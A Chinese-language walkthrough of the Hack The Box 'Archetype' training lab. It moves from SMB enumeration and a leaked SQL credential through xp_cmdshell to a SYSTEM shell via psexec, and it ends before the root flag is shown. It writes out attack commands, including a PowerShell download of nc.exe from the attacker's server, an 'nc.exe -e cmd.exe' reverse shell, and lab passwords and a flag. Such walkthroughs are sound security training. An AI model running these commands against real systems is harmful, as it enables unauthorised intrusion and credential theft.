使用OpenVPN连接HTB服务器并启动靶机
靶机IP:10.129.95.187
分配IP:10.10.16.22
1.Which TCP port is hosting a database server?
使用nmap对靶机进行扫描:nmap -sC -sV -T4 -Pn {TARGET_IP}
通过nmap扫描结果可见: 1433 端口用于SQL Server服务
2.What is the name of the non-Administrative share available over SMB?
通过nmap扫描结果可见:靶机已启用smb服务,并且account_userd: guest已启用访客账户
使用smbclient工具与samba服务器进行交互:smbclient -N -L {TARGET_IP}
使用此命令将枚举出该samba服务器中的所有共享对象,可见 backups 为可用的非管理共享
3.What is the password identified in the file on the SMB share?
使用smbclient工具连接backups共享并枚举所有文件:smbclient -N \\\\{TARGET_IP}\\backups
将prod.dtsConfig文件下载到本地:get prod.dtsConfig
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> exit
查看prod.dtsConfig文件内容:cat prod.dtsConfig
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
文件内容可找到:Password=M3g4c0rp123;
4.What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?
Impacket collection 是一组用于处理网络协议的 Python 类库工具集
提供了对多种网络协议的实现和利用手段,包括但不限于 SMB、MSRPC、LDAP等
在github上对工具进行克隆:git clone https://github.com/SecureAuthCorp/impacket.git
进入impacket目录后安装依赖(自行添加屁股源):pip install -r requirements.txt
进入examples目录可以找到用于SQL Server连接的脚本:mssqlclient.py
5.What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?
通过在prod.dtsConfig文件中获取的User_ID和Password来登录sql服务器
连接数据库:python mssqlclient.py ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth
输入help命令可见 xp_cmdshell 用于生成Windows命令shell
6.What script can be used in order to search possible paths to escalate privileges on Windows hosts?
到了这一题直接跳跃到了提权,但是我们现在连low权shell都没拿到,所以继续getshell
查看是否有数据库最高权限:SELECT is_srvrolemember('sysadmin');
尝试开启xp_cmdshell并执行whoami命令,依次执行:
enable_xp_cmdshell
RECONFIGURE
xp_cmdshell "whoami"
输出:archetype\sql_svc,代表xp_cmdshell成功执行了命令
接下来执行 pwd 命令查看当前位置,准备上传nc反弹shell
使用 ls ../../ 命令列出上上一级所有文件夹
这里将nc传入Users更好一些 ,如果传入Windows或其他文件夹可能存在权限问题
找到sql_svc文件夹, 接下来使用wget将nc从本地上传至该目录下的Downloads中
将nc放置在同目录下,开启http.server服务并输入好端口
执行命令:xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://{NATIVE_IP}:{NATIVE_PORT}/nc.exe -outfile nc.exe"
再次执行命令:xp_cmdshell "powershell -c ls ../../Users/sql_svc/Downloads"
可以看到nc.exe已经成功上传至靶机
本地端使用nc对指定端口持续监听并执行命令:
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc.exe -e cmd.exe {NATIVE_IP} {NATIVE_PORT}"
最后也是在sql_svc\Desktop目录下找到了user.txt文件
执行命令查看user.txt文件内容:
USER_FLAG:3e7b102e78218e935bf3f4951fec21a3
回到第六题的答案:winPEAS
同理:我们上文用python开启的http.server服务没关闭,直接将winPEAS放置在同目录进行上传
在靶机cmd中切换成PowerShell,并执行wget命令上传winPEAS:
wget http://{NATIVE_IP}:{NATIVE_PORT}/winPEASx64.exe -outfile winPEASx64.exe
7.What file contains the administrator's password?
直接输入执行:.\winPEASx64.exe
找到PowerShell历史记录文件路径:
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
该PowerShell历史文件内存储着管理员密码:ConsoleHost_history.txt
执行命令进入该文件同目录下:
cd C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\
执行命令查看该文件内容:type ConsoleHost_history.txt
现在我们取得了系统管理员账户和密码,可以直接对靶机进行登录
账户:administrator
密码:MEGACORP_4dm1n!!
还是使用impacket中的脚本psexec.py进行交互
执行命令连接:python psexec.py {TARGET_USER}@{TARGET_IP}
执行whoami输出:nt authority\system,说明已是系统管理员权限
进入Administrator目录中查找flag,执行命令:cd C:\Users\Administrator
再进入Desktop目录下,找到了root.txt
执行命令查看root.txt文件内容: